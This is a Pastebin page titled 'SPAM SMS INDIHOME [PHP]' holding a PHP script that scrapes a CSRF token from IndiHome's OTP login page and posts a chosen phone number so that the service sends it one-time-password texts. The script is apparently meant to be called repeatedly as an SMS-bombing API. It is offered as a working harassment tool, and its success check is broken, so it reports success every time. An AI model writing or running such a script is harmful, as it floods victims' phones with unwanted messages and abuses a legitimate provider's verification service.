Advertisement
Xractz

SPAM SMS INDIHOME [PHP]

Nov 28th, 2020
1,623
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.85 KB | None | 0 0
  1. <?php
  2. if(isset($_POST['no'])){
  3.     //apakah data no sudah terkirim?
  4.     $no = htmlspecialchars($_POST['no']);
  5.    
  6.     if(is_numeric($no)){
  7.         $url = "https://www.indihome.co.id/verifikasi-layanan/login-otp";
  8.        
  9.         //pengambilan token
  10.         define("cookie", "cookie.txt");
  11.        
  12.         $ch = curl_init($url);
  13.         curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  14.         curl_setopt($ch, CURLOPT_COOKIEJAR, cookie);
  15.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  16.         curl_setopt($ch, CURLOPT_HEADER, true);
  17.         $ch = curl_exec($ch);
  18.        
  19.         preg_match('/name=\"_token\" value\=\"(.*?)\"/', $ch, $token);
  20.         $token = $token[1];
  21.        
  22.         //pengiriman data
  23.         $data = ['msisdn' => $no, '_token' => $token];
  24.         $data = http_build_query($data);
  25.        
  26.         $cb = curl_init($url);
  27.         curl_setopt ($cb, CURLOPT_COOKIEJAR, cookie);
  28.         curl_setopt ($cb, CURLOPT_COOKIEFILE, cookie);
  29.         curl_setopt($cb, CURLOPT_POST, true);
  30.         curl_setopt($cb, CURLOPT_POSTFIELDS, $data);
  31.         curl_setopt ($cb, CURLOPT_RETURNTRANSFER, true);
  32.         curl_setopt($cb, CURLOPT_HEADER, true);
  33.         $cb = curl_exec($cb);
  34.        
  35.         if(file_exists("cookie.txt")) {
  36.             unlink("cookie.txt");
  37.         }
  38.        
  39.         //validation
  40.         if('Pastikan nomor handphone yang anda masukan sudah benar' or 'Kode OTP telah dikirim ke nomor Handphone Anda' == $cb){
  41.             $true['API'] = array(
  42.                 'code' => 'true',
  43.                 'status'=> 'success',
  44.                 'message' => 'Sent to '.$no
  45.             );
  46.         echo json_encode($true);
  47.         }else{
  48.             $error['API'] = array(
  49.                 'code' => 'false',
  50.                 'status'=> 'error',
  51.                 'message' => 'ERROR!'
  52.             );
  53.         echo json_encode($error);
  54.         }
  55.        
  56.         //output
  57.     }else{
  58.         $error['API'] = array(
  59.             'code' => 'false',
  60.             'status'=> 'error',
  61.             'message' => 'Please enter a valid number!'
  62.         );
  63.         echo json_encode($error);
  64.     }
  65. }else{
  66.     $error['API'] = array(
  67.         'code' => 'false',
  68.         'status'=> 'error',
  69.         'message' => 'No data sent!'
  70.     );
  71.     echo json_encode($error);
  72. }
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement